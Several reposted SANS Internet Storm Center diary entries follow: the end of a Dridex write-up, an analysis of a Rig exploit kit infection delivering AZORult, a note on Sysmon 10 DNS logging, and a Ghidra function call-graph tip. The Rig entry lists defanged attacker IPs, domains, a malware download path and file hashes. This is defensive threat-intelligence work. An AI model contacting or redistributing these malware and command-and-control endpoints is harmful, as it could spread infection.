  • File description: Dridex 64-bit DLL malware loaded by legitimate Microsoft file sethc.exe
  • NOTE: This file path, name, and hash changes every time the victim logs into the infected Windows host.

Final words

An example of the malspam, a pcap of the infection traffic, and the associated malware/artifacts can be found here.


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on Leave a comment

An infection from Rig exploit kit, (Mon, Jun 17th)

Introduction

Rig exploit kit (EK) is one of a handful of EKs still active as noted in this May 2019 Malwarebytes blog post.  Even though Rig EK is at much lower levels than noted in previous years, EK traffic still is still sometimes noted in the wild.  Twitter accounts like @nao_sec, @david_jursa, @jeromesegura, and @tkanalyst occasionally post tweets about recent EK activity.  Today’s diary reviews a recent example of infection traffic caused by Rig EK.

Recent developments

For the past year, Rig EK has been using Flash exploits based on CVE-2018-8174 as noted in this May 2018 blog post from @kafeine.  Since then, other sources have reported Rig EK delivering a variety of malware like the Grobios Trojan or malware based on a Monero cryptocurrency miner.  Like other EKs, Rig EK is usually used in malvertising distribution campaigns.  Today’s infection revealed Rig EK delivering AZORult, and the infection followed-up with other malware I was unable to identify.

Infection traffic

I used a gate from malvertising traffic as noted in a recent tweet from @nao_sec.  See images below for details.


Shown above:  Traffic from the infection filtered in Wireshark.


Shown above:  A closer look at the Rig EK traffic.


Shown above:  Rig EK landing page.


Shown above:  Rig EK sends a Flash exploit.


Shown above:  Rig EK sending its malware payload (encrypted over the network, but decoded on the infected host).


Shown above:  An example of AZORult post-infection traffic.


Shown above:  Follow-up malware EXE retrieved by my infected Windows host.

Indicators of Compromise (IOCs)

Redirect domain that led to Rig EK:

  • 194.113.104[.]153 port 80 – makemoneyeasy[.]live – GET /

Rig EK:

  • 5.23.55[.]246 port 80 – 5.23.55[.]246 – various URLs

AZORult post-infection traffic:

  • 104.28.8[.]132 port 80 – mixworld1[.]tk – POST /mix1/index.php

Infected Windows host retrieved follow-up malware:

  • 209.217.225[.]74 port 80 – hotelesmeflo[.]com – GET /chachapoyas/wp-content/themes/sketch/msr.exe

SHA256 hash: a666f74574207444739d9c896bc010b3fb59437099a825441e6c745d65807dfc

  • File size: 9,261 bytes
  • File description: Flash exploit used by Rig EK on 2019-06-17

SHA256 hash: 2de435b78240c20dca9ae4c278417f2364849a5d134f5bb1ed1fd5791e3e36c5

  • File size: 354,304 bytes
  • File description: Payload sent by Rig EK on 2019-06-17 (AZORult)

SHA256 hash: a4f9ba5fce183d2dfc4dba4c40155c1a3a1b9427d7e4718ac56e76b278eb10d8

  • File size: 2,952,704 bytes
  • File description: Follow-up malware hosted on URL at hotelesmeflo[.]com on 2019-06-17

Final words

My infected Windows host retrieved follow-up malware after the initial AZORult infection.  However, I was using a virtual environment during the infection, and I didn’t see any post-infection traffic from the follow-up malware, so I could not identify what it was.

A pcap of the infection traffic along with the associated malware and artifacts can be found here.


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on Leave a comment

Sysmon Version 10: DNS Logging, (Sun, Jun 16th)

Sysmon Version 10.0 brings DNS query logging.

By default, DNS query logging is not enabled. You need to provide a configuration file, like this simple config.xml:


 
   
   
 

This config file will log all DNS queries: using onmatch=”exclude” without any filters excludes no events at all.

Remark also that the event is DnsQuery (and not DNSQuery as listed on Sysinternals page for Sysmon).

Here is a simple “ping google.com” command, resulting in event 22 being logged in the Sysmon Windows event log:

Remark that event 22 does not only log the DNS query, but also the replies and the program that issued the query.

If you enable DNS logging like I did (not exclusions) in a production environment, you will have too many events. SwiftOnSecurity’s Sysmon config can help you exclude many queries that are not important for IR.

Sysmon DNS logging did not work on my Windows 7 VM, but I just noticed that Sysmon version 10.1 was released, I will test this again.

Update: version 10.1 on Windows 7 does not log DNS events.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on Leave a comment

A few Ghidra tips for IDA users, part 4 – function call graphs, (Fri, Jun 14th)

One of the features of IDA that we use in FOR610 that can be helpful for detecting malicious patterns of API calls is the feature for creating a graph of all function calls called from the current function and any functions that it calls. The graph itself isn’t all that pretty to look at, but it allows us to see if all the APIs in a particular pattern (code injection, for example) are made in the proper order. We do this by choosing View > Graphs > ‘Xrefs from’ in the menus. In IDA, it looks like the following.

When I first went looking for an equivalent in Ghidra, I had a hard time finding it. I eventually found it in the Window menu.

But, when I first ran it, I only saw the functions that call this one (which is nice, you need to do Xrefs to in IDA to see these) and the ones that this function called, so only 1 level deep in each direction. That wasn’t going to cut it because sometimes the API calls that we’re interested in are buried several levels of calls deep.

However, after looking at it for a while, I discovered that if you righ-click on any node in the bottom row, you get a menu that allows you to extend it another level deeper, by selecting ‘Show Outgoing Level Edges’. Okay, this is promising.

After selecting that, I got the following

Those lines are still somewhat confusing, but you can move the individual nodes in the graph around to make the relationships clearer. Also, have I mentioned how nice a big monitor is when you are reversing (in either IDA or Ghidra). And, since you have the control to expand one level at a time, I may even come to like this more than IDA’s graph. If the graphs are somewhat confusing to you, though, you can also use the Show Function Call Tree button to bring up a couple of pains that show the same info textually

On the left side are the incoming calls

And on the right, the outgoing calls.

And you can then expand any of the functions which may call other functions (those with the little box in front)

For me, personally, that may work even better, but you may prefer the graph.

I think I’ll wrap up this entry here. If you are at SANSFIRE next week, please come to the SANS ISC annual State of the Internet panel on Monday evening in Salon 1. You can also stop by and say ‘Hi!’ I’ll be TA-ing for Lenny Zeltser in FOR610. As with all the other entries in the series if you have other thoughts or tips, feel free to comment here, send me an e-mail, or drop into our slack channel. Until next time, …

—————
Jim Clausing, GIAC GSE #26
jclausing –at– isc [dot] sans (dot) edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.